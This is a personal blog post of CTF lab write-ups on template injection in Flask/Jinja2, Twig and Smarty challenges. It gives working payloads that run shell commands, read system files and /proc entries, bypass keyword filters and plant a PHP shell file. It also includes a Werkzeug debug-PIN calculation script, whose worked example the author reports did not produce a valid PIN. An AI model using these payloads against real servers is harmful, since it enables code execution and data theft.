buu SSTI

buu SSTI

[CSCCTF 2019 Qual]FlaskLight

查看源码

image-20240601214509466

get传search

image-20240601214634215

有回显 确定是ssti

image-20240601214717449

用脚本去查找可用的子类,参考连接

image-20240601215059631

看看是否有过滤

image-20240601215146033

image-20240601215225209

image-20240601215254968

猜测globals被过滤

采用拼接绕过

image-20240601215744237

发现config可以用

image-20240601215712734

image-20240601220100685

image-20240601220159941

[BJDCTF2020]Cookie is so stable

查看源码,发现file://被禁掉了

image-20240601220431746

flag.phpimage-20240601220532512

admin登录

image-20240601220620560

登出,试了{{7*7}}

image-20240601220706926

查看hint.php源码

image-20240601220953569

cookie

image-20240602091828272

抓包测试

image-20240602091955513

image-20240609200319698

X-Powered-By是 告诉网站使用哪种语言或者框架写的‘

本题就是PHP,PHP的SSTI模板是smarty,twig,Blade

twig模板

看了半天没看懂..

paylaod:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

image-20240612210027327

贴一下 twig模板常用注入

{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}

[WesternCTF2018]shrine

格式化代码

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/')
def shrine():
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    shrine_template = flask.request.args.get('shrine', default='')
    return flask.render_template_string(safe_jinja(shrine_template))

if __name__ == '__main__':
    app.run(debug=True)

黑名单绕过 config,self

第一个路由 使用 open函数

第二个路由访问 /shrine

image-20240612211453485

replace函数:讲究的字符串替换成新的字符串

本题将()替换成了空,相当于过滤

image-20240612213110513

又因为flag在config中,所以需要找到配置信息

查看配置信息

image-20240612215142229

查看config

image-20240612215341149

[CISCN2019 华东南赛区]Web11

本题使用smarty模板

image-20240613145954189

这题跟XFF有关

image-20240613150132980

smarty模板

查版本号

{$smarty.version}

image-20240613150719278

使用{php}{/php}标签来执行包裹其中的php指令

???本题报错

image-20240613151100469

{literal}标签:将模块区域内的字符原样输出

self读取文件,新版本中已经不存在

{self::getStreamVariable(“file:///etc/passwd”)}

{if}标签:可执行语句

虽然但是 执行成功了

image-20240613152804367

image-20240613153553967

image-20240613154536200

[BJDCTF2020]The mystery of ip

查看源码

image-20240613155023510

果然 hint.php源码有提示

image-20240613155215014

image-20240613161025732

好吧跟上一道题同理

image-20240613161305481

smarty模板

image-20240613161413807

image-20240613161549270

image-20240613161642601

image-20240613162232286

[GYCTF2020]FlaskApp

解法一

查看提示源码

image-20240613165332579

image-20240613164910462

image-20240613165007377

存在ssti

解码报错时,会存在pin,需要PIN码

报错时有文件名,路径,出错方法名

image-20240613170646509

image-20240613170658288

image-20240613172050163

render_template函数是jinja2的函数,所以是jinja2模板

先构造payload读取源码

{{url_for.__globals__.__builtins__['open']('app.py','r').read()}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

源码里有waf绕过

image-20240613190650710

查看源码

发现好多过滤

image-20240613191958824

__subclasses__()为空?查看看不了所有子类啊?

image-20240613200746986

image-20240613200928584

构造payload

{{url_for.__globals__['__builtins__']['__im'+'port__']('o'+'s').listdir('/')}}
{{''.__class__.__base__.subclasses__()[75].__init__.__globals__['__builtins__']['__impo'+'rt__']('o'+'s').listdir('/')}}

image-20240613203322342

{{url_for.__globals__['__builtins__']['open']('/this_is_the_fl'+'ag.txt','r').read()}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

image-20240613211404223

解法二

拿到PIN码获得flag 参考链接

计算PIN码

计算PIN码分六步

1.用户名:

/etc/password得到flaskweb或者 root

2.模块名

module name 一般固定位置在 flask.php

3.app名

getattr(app, "__name__", app.__class__.__name__)的结果是Flask,该值一般不变

4.路径

flask库下的app.py路径,本题是通过报错信息得到的/usr/local/lib/python3.7/site-packages/flask/app.py

5.当前网络的十进制mac地址

本题是通过文件 /sys/class/net/eth0/address 读取,

6.机器的id

windows系统下对于docker机则读取/proc/self/cgroup,序列号为1那行

1:name=systemd:/docker/8c9b58ed756803d15052dd5f7dc35d106e48f5dbe629ebb1d5494a9f384355af 0::/system.slice/containerd.service

计算PIN值的模板

import hashlib
from itertools import chain
probably_public_bits = [
    '运行app用户名',
    'module name ',
    'Flask',
    'flask库下app.py的绝对路径',
]

private_bits = [
    '当前网络的mac地址的十进制数',
    '机器的id'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

本题:

{{{}.__class__.__base__.__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

得到用户名

image-20240613220952879

本题是flaskweb,modname是flask.php,app名是Flask,路径报错得到/usr/local/lib/python3.7/site-packages/flask/app.py

image-20240614155215139

接着获取mac地址

paylaod

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

image-20240614155456331

转换成十进制

152645291343922

获取机器码id

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}

image-20240613222922804

机器码为

ec1a8804fd6f3db5ccc28eb1a92489e314df3b3f4193c82a509bc8661fbbff56

计算PIN码

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',
    'flask.php',
    'Flask',
    '/sys/class/net/eth0/address',
]

private_bits = [
    '99113247797394064860',
    'ec1a8804fd6f3db5ccc28eb1a92489e314df3b3f4193c82a509bc8661fbbff56'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

image-20240614155535856

image-20240614155558623

PIN码输入不对

输入正确的PIN码之后可以进行交互shell,命令执行获取flag

[pasecactf_2019]flask_ssti

传参 {{7*7}}得到49

测试过滤,过滤了 ._'

构造payload

{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("whoami")["read"]()}}

image-20240614200552026

{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("ls")["read"]()}}

image-20240614201942072

{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("ls /")["read"]()}}

image-20240614202132032

{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("cat app\x2epy","r")["read"]()}}

image-20240614210548055

import random
from flask import Flask, render_template_string, render_template, request
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'

# Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''


def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))


file = open("/app/flag", "r")
flag = file.read()

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3',
                            'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""

os.remove("/app/flag")

nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]',
             '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        try:
            p = request.values.get('nickname')
            id = random.randint(0, len(nicknames) - 1)
            if p != None:
                if '.' in p or '_' in p or '\'' in p:
                    return 'Your nickname contains restricted characters!'
                return render_template_string(nicknames[id] % p)

        except Exception as e:
            print(e)
            return 'Exception'

    return render_template('index.html')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)

image-20240615151424720

加密后的flag在config里

image-20240614210953741

使用 /proc/self/fd/3读取, /proc/self/fd/表示当前进程的目录

/proc目录,linux内可以通过 /proc文件系统访问内核数据

/self子目录,proc/self表示当前进程目录

fd目录,包含当前进程打开的每一个文件

在python2中可以用file读取文件,python3可以用 <class '_frozen_importlib_external.FileLoader'>这个类读取文件,使用get_data读取文件

payload

{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}

本题使用 <class '_frozen_importlib_external.FileLoader'> scss来读取flag

payload

{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[91]["get\x5fdata"](0,"/proc/self/fd/3")}}

image-20240615165800061

[GWCTF 2019]你的名字

image-20240615165935771

image-20240615170026745

image-20240615170131406

{{7*7}}会报错,但是{7*7}就有回显

应该是 {{}}被过滤了,但是 {}没被过滤

过滤应该不止{},比如class被过滤了

image-20240615213049031

image-20240615214123280

本题的过滤

blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
                 ' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
                 'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config']

过滤有很多 拼接绕过或者使用 __claconfigss__绕过

修改paylaod

{%print lipsum.__globals__['__bui'+'ltins__']['__imp'+'ort__']('o'+'s')['pop'+'en']('whoami').read()%}
{%print lipsum.__globals__.__buiconfigltins__['__impconfigort__']('oconfigs').popconfigen('whoami').read()%}

image-20240615215020967

{%print lipsum.__globals__['__bui'+'ltins__']['__imp'+'ort__']('o'+'s')['pop'+'en']('ls').read()%}

image-20240615215058573

paylaod

{%print lipsum.__globals__['__bui'+'ltins__']['__imp'+'ort__']('o'+'s')['pop'+'en']('ls /').read()%}

image-20240615215646160

{%print lipsum.__globals__['__bui'+'ltins__']['__imp'+'ort__']('o'+'s')['pop'+'en']('cat /flag_1s_Hera').read()%}

image-20240615215738510

[CISCN2019 总决赛 Day1 Web3]Flask Message Board 伪造session

image-20240615195221865

info的内容和author的内容一样

image-20240615195629336

info为author的回显内容,title和content的内容回显在网页下面

抓包

image-20240615202555535

与session有关,本题伪造session

将session解码为

image-20240615202502969

访问/admin

image-20240615203614505

传{{config}} 得到secret-key

image-20240615202652782

接着伪造session

image-20240615204129728

传入session,访问/admin

image-20240615204223621

查看源码 要zip file文件

image-20240615204737725

访问

/admin/source_thanos
/admin/model_download

访问model_download,得到一个zip文件

image-20240615205046265

访问sourcr 得到乱的源码

将其还原,网上贴的脚本

import requests
url = 'http://xxx.cn/admin/source_thanos'
r = requests.get(url)
source = r.text
for j in range(10):
    r = requests.get(url)
    for i in range(len(source)):
        if source[i].isspace():
            source = source[:i] + r.text[i] + source[i+1:]
print(source)

复原的源码

D:\Pycharm\project4\pythonProject\.venv\ven\Scripts\python.exe D:\Pycharm\project4\pythonProject\hello\hi.py 
# coding=utf8
from flask import Flask, flash, send_file
import random
from datetime import datetime
import zipfile

# init app
app = Flask(__name__)
app.secret_key = ''.join(random.choice("il1I|") for i in range(40))
print(app.secret_key)

from flask import Response
from flask import request, session
from flask import redirect, url_for, safe_join, abort
from flask import render_template_string

from data import data

post_storage = data
site_title = "A Flask Message Board"
site_description = "Just leave what you want to say."

# %% tf/load.py
import tensorflow as tf
from tensorflow.python import pywrap_tensorflow


def init(model_path):
    '''
    This model is given by a famous hacker !
    '''
    new_sess = tf.Session()
    meta_file = model_path + ".meta"
    model = model_path
    saver = tf.train.import_meta_graph(meta_file)
    saver.restore(new_sess, model)
    return new_sess


def renew(sess, model_path):
    sess.close()
    return init(model_path)


def predict(sess, x):
    '''
    :param x: input number x
        sess: tensorflow session
    :return: b'You are: *'
    '''
    y = sess.graph.get_tensor_by_name("y:0")
    y_out = sess.run(y, {"x:0": x})
    return y_out


tf_path = "tf/detection_model/detection"
sess = init(tf_path)


# %% tf end

def check_bot(input_str):
    r = predict(sess, sum(map(ord, input_str)))
    return r if isinstance(r, str) else r.decode()


def render_template(filename, **args):
    with open(safe_join(app.template_folder, filename), encoding='utf8') as f:
        template = f.read()
    name = session.get('name', 'anonymous')[:10]
    # Someone call me to add a remembered_name function
    # But I'm just familiar with PHP !!!

    # return render_template_string(
    #     template.replace('$remembered_name', name)
    #         .replace('$site_description', site_description)
    #         .replace('$site_title', site_title), **args)
    return render_template_string(
        template.replace('$remembered_name', name), site_description=site_description, site_title=site_title, **args)


@app.route('/')
def index():
    global post_storage
    session['admin'] = session.get('admin', False)
    if len(post_storage) > 20:
        post_storage = post_storage[-20:]
    return render_template('index.html', posts=post_storage)


@app.route('/post', methods=['POST'])
def add_post():
    title = request.form.get('title', '[no title]')
    content = request.form.get('content', '[no content]')
    name = request.form.get('author', 'anonymous')[:10]
    try:
        check_result = check_bot(content)
        if not check_result.endswith('Human'):
            flash("reject because %s or hacker" % (check_result))
            return redirect('/')
        post_storage.append(
            {'title': title, 'content': content, 'author': name, 'date': datetime.now().strftime("%B %d, %Y %X")})
        session['name'] = name
    except Exception as e:
        flash('Something wrong, contact admin.')

    return redirect('/')


@app.route('/admin/model_download')
def model_download():
    '''
    Download current model.
    '''
    if session.get('admin', True):
        try:
            with zipfile.ZipFile("temp.zip", 'w') as z:
                for e in ['detection.meta', 'detection.index', 'detection.data-00000-of-00001']:
                    z.write('tf/detection_model/' + e, arcname=e)
            return send_file("temp.zip", as_attachment=True, attachment_filename='model.zip')
        except Exception as e:
            flash(str(e))
            return redirect('/admin')
    else:
        return "Not a admin **session**. <a href='/'>Back</a>"


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    global site_description, site_title, sess
    if session.get('admin', False):
        print('admin session.')
        if request.method == 'POST':
            if request.form.get('site_description'):
                site_description = request.form.get('site_description')
            if request.form.get('site_title'):
                site_title = request.form.get('site_title')
            if request.files.get('modelFile'):
                file = request.files.get('modelFile')
                # print(file, type(file))
                try:
                    z = zipfile.ZipFile(file=file)
                    for e in ['detection.meta', 'detection.index', 'detect on.data-00000-of-00001']:
                        open('tf/detection_model/' + e, 'wb').write(z.read(e))
                    sess = renew(sess, tf_path)
                    flash("Reloaded successfully")
                except Exception as e:
                    flash(str(e))
        return render_template 'admin.html')
    else:
        return "Not a admin **session**. <a href='/'>Back</a>"


@app.route('/admin/source') # <--here ♂ boy next door
def get_source():
    return open('app.py', encoding='utf8').read()


@app.route('/admin/source_thanos')
def get_source_broken():
    '''
    Thanos is eventually resurrected,[21] and collects the Infinity Gems once again.[22]
    He uses the gems to create the Infinity Gauntlet, making himself omnipotent,
    and erases half the living things in the universe to prove his love to Death.
    '''
    t = open('app.py', encoding='utf8').read()
    tt = [t[i] for i in range(len(t))]
    ll = list(range(len(t)))
    random.shuffle(ll)
    for i in ll[:len(t) // 2]:
        if tt[i] != '\n': tt[i] = ' '
    return "".join(tt)

然后是 TensorFlow模型,emmm先留着以后来看

posted @ 2024-06-15 21:59  Yolololololo  阅读(29)  评论(0编辑  收藏  举报